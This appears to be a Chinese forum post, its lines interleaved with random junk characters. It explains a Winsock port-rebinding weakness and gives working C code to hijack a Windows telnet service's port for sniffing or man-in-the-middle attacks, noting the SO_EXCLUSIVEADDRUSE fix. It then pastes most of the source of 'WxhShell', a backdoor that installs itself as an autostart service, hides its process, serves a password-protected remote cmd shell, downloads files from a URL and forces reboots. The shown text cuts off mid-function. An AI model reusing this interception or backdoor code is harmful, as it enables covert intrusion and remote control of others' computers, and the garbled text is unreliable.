在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
||JUP}eP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%ggf|\-e E{EO9EI saddr.sin_family = AF_INET;
KJRAW]?{ +!0K]$VZs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0S^&A?$= qmFG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tBbOxM m0 PQDLbSe)\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\?;
`_E`j ep=r7Mft 这意味着什么?意味着可以进行如下的攻击:
:~ pGHl y92R}e\M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Iz1x| EQ @>HTbs6W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
i+h*<){X iI{L>
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<mQXS87 LP6p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l3sF/zkH SK
lvZ
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_8a;5hS qS#G7~ur>y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c`soVqT$? >=[uLY[aK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
eJ99 W= hE|P|0U,n #include
.Q%Hi7JMi #include
gom!dB0J #include
X>8,C^~$1 #include
g3z/yj DWORD WINAPI ClientThread(LPVOID lpParam);
F%h3?"s int main()
8@;]@c)m {
zMR)w77 WORD wVersionRequested;
Ea&|kO| DWORD ret;
A#.
%7S WSADATA wsaData;
C3}:DIn"w BOOL val;
>G:Q/3jh SOCKADDR_IN saddr;
~ubvdQEW SOCKADDR_IN scaddr;
hI'WfF!X int err;
F{0\a;U@^ SOCKET s;
!l9{R8m>eJ SOCKET sc;
%"0, o$ int caddsize;
xj3qOx$ HANDLE mt;
WeM38&dWY DWORD tid;
6;Z-Y>\c wVersionRequested = MAKEWORD( 2, 2 );
+4s]#{mP err = WSAStartup( wVersionRequested, &wsaData );
bZ\R0[0 if ( err != 0 ) {
s0/O/G? printf("error!WSAStartup failed!\n");
$D1ha CL return -1;
23wztEp{a }
qD{1X25O saddr.sin_family = AF_INET;
1uAjy(y +nE>)ZH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C(ij_> wb0$FZzh saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
A`n>9|R saddr.sin_port = htons(23);
oZa'cZNs if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J,F1Xmr4 {
8M99cx*K printf("error!socket failed!\n");
4rU/2}.q return -1;
( zWBrCX }
fzIs^(:fl val = TRUE;
(9Zvr4.f7 //SO_REUSEADDR选项就是可以实现端口重绑定的
YNr"]SA@ ; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xqt?z n {
$fmTa02q> printf("error!setsockopt failed!\n");
}R%H?&P return -1;
qYC&0`:H }
6kYluV+j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
vqSpF6F
q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F\ B/q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z&6_}{2,] 8zp?WUb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
./#YUIC {
DZSS ret=GetLastError();
:C:6bDQ printf("error!bind failed!\n");
!Y ,7% return -1;
AS7L }
cUY- listen(s,2);
iFd
!ED while(1)
eFG/!b<17 {
PVI Oe}N caddsize = sizeof(scaddr);
6KMO*v //接受连接请求
,<v0( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wZ(1\
M( if(sc!=INVALID_SOCKET)
JOJ.79CT {
XQo\27Fo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;|q<t if(mt==NULL)
ANhqS {
iXDG-_K printf("Thread Creat Failed!\n");
9{u= break;
C%z)D1- }
.KrLvic }
?2]fE[SqY CloseHandle(mt);
rtj/&> }
39v Bsc closesocket(s);
t7f(%/] H0 WSACleanup();
> Vm}u`x return 0;
S%iK); }
`?z('FV DWORD WINAPI ClientThread(LPVOID lpParam)
N3%#JdzZ$ {
B!wN%>U SOCKET ss = (SOCKET)lpParam;
8,U~ p<Gz SOCKET sc;
!D=! unsigned char buf[4096];
b j&!$') SOCKADDR_IN saddr;
2FMmANH0ev long num;
+F)EGB%LXs DWORD val;
GW AT0 DWORD ret;
1#vu)a1+b //如果是隐藏端口应用的话,可以在此处加一些判断
2Re8rcQQU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^B<-.(F saddr.sin_family = AF_INET;
4fi4F1 f saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
mkSu
$c saddr.sin_port = htons(23);
NNt n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"V[j&B)P {
w!m4>w printf("error!socket failed!\n");
4|?(LHBD) return -1;
YK/? mj1x }
Qc7*p]E& val = 100;
}F>RIjj if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v3DK0 MW {
k=s^-Eiu ret = GetLastError();
``/L18 return -1;
% !@E)%d0 }
Cog }a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o<nM-"yWb {
{8m&Z36E ret = GetLastError();
Ue}1(2.v return -1;
1S?~c25=h }
QRju9x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`y>m
>j {
TAYh#T=S printf("error!socket connect failed!\n");
[j6]!p]S$ closesocket(sc);
zK6w0 closesocket(ss);
q /JC\ return -1;
n*\o. :f }
Ae2N"%Ej while(1)
1UMEbb {
/4;mjE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y6$a:6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
JG;}UuHYM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-b!?9T?} num = recv(ss,buf,4096,0);
RvR.t"8 if(num>0)
gt8dFcm|s send(sc,buf,num,0);
f#l9rV"@g else if(num==0)
e)}E&D;${ break;
6 wN*d 5 num = recv(sc,buf,4096,0);
^]o
H}lwO if(num>0)
-8)Hulo/{U send(ss,buf,num,0);
k+"]; else if(num==0)
v~OMm\ break;
;r@=[h
}
7&id(&y/ closesocket(ss);
vv)q&,<c closesocket(sc);
;pm/nu return 0 ;
N^QxqQ~
}
N:B<5l ' t^&hG7L_m, !60U^\ ==========================================================
ndFVP;q X@kgc&`0 下边附上一个代码,,WXhSHELL
1tY+0R Tf#Op
v) ==========================================================
./I? |ih :Quep-:fy< #include "stdafx.h"
#H6YI3
`G )xVf3l
pQ #include <stdio.h>
|M?s[}ll #include <string.h>
,=e.QAF!" #include <windows.h>
N_92,xI# #include <winsock2.h>
{`):X _$T #include <winsvc.h>
yV`Tw"p #include <urlmon.h>
S/ oD` XVNJK-B #pragma comment (lib, "Ws2_32.lib")
3/gR}\= #pragma comment (lib, "urlmon.lib")
`\@n&y[`7 :?UcD_F #define MAX_USER 100 // 最大客户端连接数
qb;b.P?~D$ #define BUF_SOCK 200 // sock buffer
@tSB^&jUWu #define KEY_BUFF 255 // 输入 buffer
ASdW!4.p =R:O`qdC4e #define REBOOT 0 // 重启
>,Y+ 1 #define SHUTDOWN 1 // 关机
!n;3jAl&$ o_}?aI~H #define DEF_PORT 5000 // 监听端口
`a52{Wa R?1Z[N #define REG_LEN 16 // 注册表键长度
o~'p&f #define SVC_LEN 80 // NT服务名长度
^Zvb3RJ g a =W%x{ // 从dll定义API
)&E] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3*Q=)} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-"zW"v)\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;'Hu75ymo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8GBKFNR8 E q4tcZ // wxhshell配置信息
v2tVq_\AMx struct WSCFG {
8d$|JN;) int ws_port; // 监听端口
xbi\KT`~ char ws_passstr[REG_LEN]; // 口令
XZN@hXc9:v int ws_autoins; // 安装标记, 1=yes 0=no
T
9`AL char ws_regname[REG_LEN]; // 注册表键名
i+(>w'=m char ws_svcname[REG_LEN]; // 服务名
kMW9UUw char ws_svcdisp[SVC_LEN]; // 服务显示名
f:46.)Wj< char ws_svcdesc[SVC_LEN]; // 服务描述信息
[4xZy5V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"'t f]s int ws_downexe; // 下载执行标记, 1=yes 0=no
V0D&bN* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8Vz!zYl char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@_t=0Rc FI: H/e5[ };
4"|3pMr T}{zh // default Wxhshell configuration
oAifM1*0 struct WSCFG wscfg={DEF_PORT,
onmpMU7w "xuhuanlingzhe",
aoz+T h3 1,
_<]0hC "Wxhshell",
HPu+ 4xQV "Wxhshell",
`StuUa "WxhShell Service",
bp/l~h.7W "Wrsky Windows CmdShell Service",
<r <{4\%} "Please Input Your Password: ",
p5qfv>E8) 1,
:YRHO| "
http://www.wrsky.com/wxhshell.exe",
NL:dyV} "Wxhshell.exe"
&*o4~6pQ# };
5MG4S ` Ft-1eE // 消息定义模块
^O<v'\!z- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`oe=K{aX char *msg_ws_prompt="\n\r? for help\n\r#>";
//N="9)@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YFu>`w^Y char *msg_ws_ext="\n\rExit.";
<o9i;[+H- char *msg_ws_end="\n\rQuit.";
tJ_Y6oFm= char *msg_ws_boot="\n\rReboot...";
O`Qke
Z} char *msg_ws_poff="\n\rShutdown...";
T*@o?U char *msg_ws_down="\n\rSave to ";
M]X!D7 D?%[du:V char *msg_ws_err="\n\rErr!";
|X*y-d77W char *msg_ws_ok="\n\rOK!";
VMF?qT3Nd v.*fJ char ExeFile[MAX_PATH];
$@kOMT int nUser = 0;
uO]|YF HANDLE handles[MAX_USER];
ysi=}+F. int OsIsNt;
S0OL;[*. p2(ha3PW SERVICE_STATUS serviceStatus;
fJ\?+, SERVICE_STATUS_HANDLE hServiceStatusHandle;
NRG06M q_^yma // 函数声明
$Tv~ *|a int Install(void);
,d*1|oUw int Uninstall(void);
A",}Ikh='` int DownloadFile(char *sURL, SOCKET wsh);
$,O8SW.O$ int Boot(int flag);
&\ca ? # void HideProc(void);
Z,AY<[/C int GetOsVer(void);
lO|LvJyx int Wxhshell(SOCKET wsl);
y+Nw>\|S void TalkWithClient(void *cs);
-rYb{<;ST int CmdShell(SOCKET sock);
L<oQKe7Q: int StartFromService(void);
T~$Eh6
D int StartWxhshell(LPSTR lpCmdLine);
_'Jjt9@S MCTJ^ g"D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D^>d<LX VOID WINAPI NTServiceHandler( DWORD fdwControl );
zqrqbqK5R 8ZbXGQ // 数据结构和表定义
b3_P??yp SERVICE_TABLE_ENTRY DispatchTable[] =
3n)Kzexh {
'/XP4B\(E {wscfg.ws_svcname, NTServiceMain},
.|u`s,\ {NULL, NULL}
Q=%W- };
$bKXP( E@otV6Wk[@ // 自我安装
$?!]?{K int Install(void)
?7)v:$(G} {
%Iflf]l char svExeFile[MAX_PATH];
"oiN8#Hf HKEY key;
_vb'3~'S strcpy(svExeFile,ExeFile);
)c*xKij qT$ IV\;_ // 如果是win9x系统,修改注册表设为自启动
GK-P6d if(!OsIsNt) {
hC8WRxEGq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8a@k6OZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u4T$ RegCloseKey(key);
q9_AL8_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C7R3W, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I6;6x RegCloseKey(key);
yKrbGK*=_ return 0;
ID`C }
fBZLWfp9 }
)N~ p4kp }
j7:r8? G else {
PfU\.[l$ #>KiX84 // 如果是NT以上系统,安装为系统服务
NwOV2E6@OW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
nu+^D$ait if (schSCManager!=0)
3rFku"zT$ {
w^zqYGxG) SC_HANDLE schService = CreateService
zJ(DO>,p& (
"
wT?$E schSCManager,
R=a4zVQ wscfg.ws_svcname,
6^J[SQ6P wscfg.ws_svcdisp,
!^y;|9?O SERVICE_ALL_ACCESS,
-3?
<Ja SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(x/:j*`K SERVICE_AUTO_START,
_kRc"MaB SERVICE_ERROR_NORMAL,
p{_*<"cfYn svExeFile,
RLL
ph NULL,
gCsN\z NULL,
6
%aaK|0 NULL,
2G-"HOG NULL,
`WCL-OoZc5 NULL
H;_Ce'oU( );
Jb$G if (schService!=0)
12L`Gi {
z]hRc8g}d CloseServiceHandle(schService);
?mC'ZYQI CloseServiceHandle(schSCManager);
kmTYRl
)j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
h4KMhr strcat(svExeFile,wscfg.ws_svcname);
2DsP "q79k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?5ZvvAi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gQSVPbzK RegCloseKey(key);
aB (pdW4 return 0;
f4AN"rW }
>G"fMOOkW }
IQC[ewk CloseServiceHandle(schSCManager);
QPLWRZu@ }
hR0a5 }
aqqo>O3 s
%X\A|V& return 1;
Hicd
-' }
F-o?tU 6RxI9{ry // 自我卸载
/>I5,D'h int Uninstall(void)
NL
` {
RAhDSDf HKEY key;
Wz R)R9x] ^J-Xy\X if(!OsIsNt) {
|[5;dt_U/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2
KHT!ik RegDeleteValue(key,wscfg.ws_regname);
oI`Mn3N RegCloseKey(key);
ami>Pp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OW=3t#"7Kp RegDeleteValue(key,wscfg.ws_regname);
2+)h!y] RegCloseKey(key);
mh[,E8'd return 0;
`{K-eHlrM9 }
mT@Gf>}/A }
9&zR
i }
`EMGrw_ else {
\fC;b"j =,ax"C?pR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u=s,bt,"5 if (schSCManager!=0)
a""9%./B {
;aD~1;q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\VIY[6sn\M if (schService!=0)
G8w @C {
mYJ8O$ if(DeleteService(schService)!=0) {
+PsR*T CloseServiceHandle(schService);
7;'UC',' CloseServiceHandle(schSCManager);
aw lq/ return 0;
52#
*{q} }
ND?"1/s CloseServiceHandle(schService);
E]&N'+T
}
/<[_V/g[t? CloseServiceHandle(schSCManager);
M^HYkXn[ }
[3S17tTc3 }
mMZrBz7r FdnLxw return 1;
[bo"!Qk% }
iKu3'jZ/O cy
mC?8< // 从指定url下载文件
.Xf_U.h$*@ int DownloadFile(char *sURL, SOCKET wsh)
*UW 8|\; {
BH^*K/^ HRESULT hr;
#k>n5cR@0 char seps[]= "/";
0)h.[O8@> char *token;
ZW"f*vwQo char *file;
: Gi8Jo char myURL[MAX_PATH];
?Q=(?yR0] char myFILE[MAX_PATH];
am.d^' ;}S_ PnwC@ strcpy(myURL,sURL);
4mp)v*z token=strtok(myURL,seps);
CpX[8>&osD while(token!=NULL)
{P?DkUO} {
txnH~;( file=token;
t'W6Fmwkx token=strtok(NULL,seps);
B[8RBTsA }
7yg{0a
&``nD GetCurrentDirectory(MAX_PATH,myFILE);
GFbn>dY strcat(myFILE, "\\");
G] tT=X[ strcat(myFILE, file);
b9i_\ send(wsh,myFILE,strlen(myFILE),0);
B$s6|~ send(wsh,"...",3,0);
F+R1}5-3cl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZT/f if(hr==S_OK)
d!&LpODI]* return 0;
0]DX KI else
x2I|iA = return 1;
=M@)qy \J?&XaO= }
^hEN m^ar:mK@ // 系统电源模块
Xu_1r8-|=b int Boot(int flag)
r:0RvWif {
Dvz 6 E HANDLE hToken;
hTby:$aCg TOKEN_PRIVILEGES tkp;
J'=s25OWU c; .y if(OsIsNt) {
]moBVRd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3bC-B!{;g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d@JavcR tkp.PrivilegeCount = 1;
gV ':Xe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zN+jn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
t,XbF if(flag==REBOOT) {
$`0^E#Nl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
FChW`b&S return 0;
xk8NX-: }
G5 )"%G. else {
c??m9=OX1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
UDcr5u eKn return 0;
h;}
fdk }
=r`E%P: }
Eqny'44 else {
%(?;` if(flag==REBOOT) {
vft7-|8T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&];W#9"Z return 0;
>c:nr&yP }
HH(2 else {
&V&beq4)p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pG*W>F return 0;
z:dW 'U?1 }
J$jLGy& ' }
n3/Bs l_
x jsu return 1;
1dp8'f5^ }
Z$Qwn (l2n%LL]* // win9x进程隐藏模块
\:n<&<aVSr void HideProc(void)
8r,0Qic2K {
OaN"6Ge# ^eRbp?H*T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t?weD{O if ( hKernel != NULL )
B=_5gZ4Y {
@1pfH\m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KV{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)&)tX. FreeLibrary(hKernel);
W Kd:O)J }
jM{5nRQ 4|eI_u{_ return;
@Y9tkJIt }
5wvh
@Sc\ 9Z 6 // 获取操作系统版本
(8W?ym int GetOsVer(void)
pF~aR]Q {
}.=wQ_ OSVERSIONINFO winfo;
R>[G6LOG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OCqknA GetVersionEx(&winfo);
g6SZ4WV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
sFgsEKs return 1;
8jky-r else
uAk>VPuuZ return 0;
?6MUyH]a }
9I1`* 0A j{ri]?p // 客户端句柄模块
RSjcOQ8&.w int Wxhshell(SOCKET wsl)
v]q"{c/ {
O6q5qA SOCKET wsh;
VF<VyWFC0` struct sockaddr_in client;
R\6dvd DWORD myID;
#N97 _w5c-\-PUM while(nUser<MAX_USER)
;t.)A3 PL {
XzBl }4s int nSize=sizeof(client);
56Lt "Z F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#K>Ue>hx if(wsh==INVALID_SOCKET) return 1;
z=rSb4"W >dDcm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P!&yYR\ if(handles[nUser]==0)
S*ie$}ZX closesocket(wsh);
=}+xD|T else
WZbRR.TxO nUser++;
U'} [:h~) }
leXdxpc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1l}fX}5%I; d=HD!
e return 0;
Y1DbBDk }
B|AIl+y -BrJ5]T>* // 关闭 socket
N;cSR\Ng void CloseIt(SOCKET wsh)
9J}^{AA {
(gutDUO; closesocket(wsh);
(.$e@k= nUser--;
yW}x ExitThread(0);
`my\59T }
HIlTt 1HRcEzA // 客户端请求句柄
C8 $KVZ void TalkWithClient(void *cs)
[Z]CBEE {
~.S/<:`U
[hiV# SOCKET wsh=(SOCKET)cs;
- l0X]&Ex char pwd[SVC_LEN];
<Um 5w1 char cmd[KEY_BUFF];
cw~-%%/ char chr[1];
Ige*tOv2 int i,j;
RE;)#t?K G|UeR=/ while (nUser < MAX_USER) {
m]VOw)mBF 3e;ux6 if(wscfg.ws_passstr) {
$h1pL>^J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)},/=#C0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&:=[\Ws R //ZeroMemory(pwd,KEY_BUFF);
//}KWz i=0;
OV7SLf while(i<SVC_LEN) {
n*eqM2L x{VUl // 设置超时
%cq8%RT fd_set FdRead;
5pxw[c53# struct timeval TimeOut;
~/Kqkhq+c FD_ZERO(&FdRead);
*nY$YwHB FD_SET(wsh,&FdRead);
H<3ayp$ TimeOut.tv_sec=8;
TzV~I\a| TimeOut.tv_usec=0;
iB{l: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q2t>E(S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
s#(<zBZ9p# 69``j{Z+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Gwfi pwd
=chr[0]; 'R n\CMTH
if(chr[0]==0xd || chr[0]==0xa) { "A}2iI
pwd=0; pxQh;w
break; >6z7.d
} ]Mgxv>zRbs
i++; `n%8y I%
} v-}D>)M^W
t,yMO
// 如果是非法用户,关闭 socket D{]9s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $4>x4*
} EvDg{M}
dYp} R>+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BbNl:`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1lHBg
0F[+rh"x
while(1) { U 0dhr; l
)s8{|) -
ZeroMemory(cmd,KEY_BUFF); pRh)DM#9
lUM-~
// 自动支持客户端 telnet标准 {9h`h08?z
j=0; RV6|sN[x>
while(j<KEY_BUFF) { @?[}\9dW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |\h<!xR
cmd[j]=chr[0]; }H9V$~}@-
if(chr[0]==0xa || chr[0]==0xd) { $7&t`E)qY
cmd[j]=0; WeS$$:ro
break; P<R'S
} PWN$x`h g[
j++; 7V;wCm#b
} >L88`
9*xv
,Yz8
// 下载文件 Wg=4`&F^
if(strstr(cmd,"http://")) { 0/b3]{skK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qfB!)Y
if(DownloadFile(cmd,wsh)) Vg1MA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d)v'K5
else :.F;LF&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XbW 1`PH
} -F';1D!l%
else { bBXUD;$
2@$`xPg
switch(cmd[0]) { r[kmgPld
Vg8c}>7
// 帮助 4mwA o
case '?': { uBxs`'C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P&9&/0r=_
break; k(3FT%p
} sKGR28e
// 安装 \t' ]Lf
case 'i': { bc*CP0t|
if(Install()) #TG.weTC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FK`M+ j
else S1d{! ` 3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JReJlDu
break; } !RBH(m%
} 8H2A<&3i
// 卸载 a3E.rr;b
case 'r': { MDOP2y`2i
if(Uninstall()) +>o}
R?xj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J I[9c,N
else sGFC?1r?\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OA8iTn
break; eR:!1z_h
} "| KD$CY
// 显示 wxhshell 所在路径 DzG$\%G2R}
case 'p': { \kVi&X=q:
char svExeFile[MAX_PATH]; R\n*O@E
v3
strcpy(svExeFile,"\n\r"); >R2o7~
strcat(svExeFile,ExeFile); gjex; h
send(wsh,svExeFile,strlen(svExeFile),0); 1A;f[Rze
break; cR/z; *wr7
} OE_A$8L
// 重启 ];au!
_o
case 'b': { ?<eH!MHF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8z'_dfP=5
if(Boot(REBOOT)) {,zn#hU.R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PitDk
1T
else { {qPu}?0
closesocket(wsh); 9|1J pb
ExitThread(0); *WZ?C|6+
} (eF "[,z
break; s
N|7
} ~<Sb:Izld
// 关机 VW *d*!
case 'd': { n~G-X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A&($X)t
if(Boot(SHUTDOWN)) Qwu~{tf+'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 137:T:
else { 7q|51rZz
closesocket(wsh); 8d*W7>rq
ExitThread(0); jp P'{mc
} Wd/m]]W8Q
break; r@]iy78
j
} .3< sv
// 获取shell ?D`h[ai
case 's': { I 7s}{pG
CmdShell(wsh); >Yt+LdG!-
closesocket(wsh); @6:J$B~)u
ExitThread(0); $z* Y:vFP
break; w2e9Ue~WH
} +'QE-#%{=
// 退出 ^%~ux0%^T
case 'x': { *HXx;:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x*2I]4
CloseIt(wsh); k1Thjt
break; g|PRk9
} kxVR#:
// 离开 +LeM[XX
case 'q': { x4nmDEpa
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7\sR f/
closesocket(wsh); $mq@g
WSACleanup(); w@"l0gm+u[
exit(1); 0z:BSdno
break; mnS F=l;;
} sDzlNMr?P+
} BP`'1Ns
} Fy-N U
PcK;L(
// 提示信息 a.!|A(zw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y; OqdO
} B$@fE}
} 2P4$^G[
;E]^7T
return; GtSvb6UNn
} >xJh!w<pB
w,v~
// shell模块句柄 9$oU6#U,h
int CmdShell(SOCKET sock) 1feS/l$
{ I-?Dil3
STARTUPINFO si; F F7
ZeroMemory(&si,sizeof(si)); Ua=w;h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !<I3^q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S@PAtB5
PROCESS_INFORMATION ProcessInfo; "J(W)\
char cmdline[]="cmd"; UOAL7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pz]#/Ry?
return 0; Zbobi,
} ppu WcGo
:*MqYny&
// 自身启动模式 >qhoGg
int StartFromService(void) zOzobd
{ ^ H )nQ
typedef struct p!]$!qHO(
{ u#uT|a.
DWORD ExitStatus; F1aI4H<(T
DWORD PebBaseAddress; 8#&axg?a
DWORD AffinityMask; #\X="'/
DWORD BasePriority; Yl!~w:O!o
ULONG UniqueProcessId; +IpC
ULONG InheritedFromUniqueProcessId; xesZ7{ o
} PROCESS_BASIC_INFORMATION; \vQjTM-7
v;m}<3@'
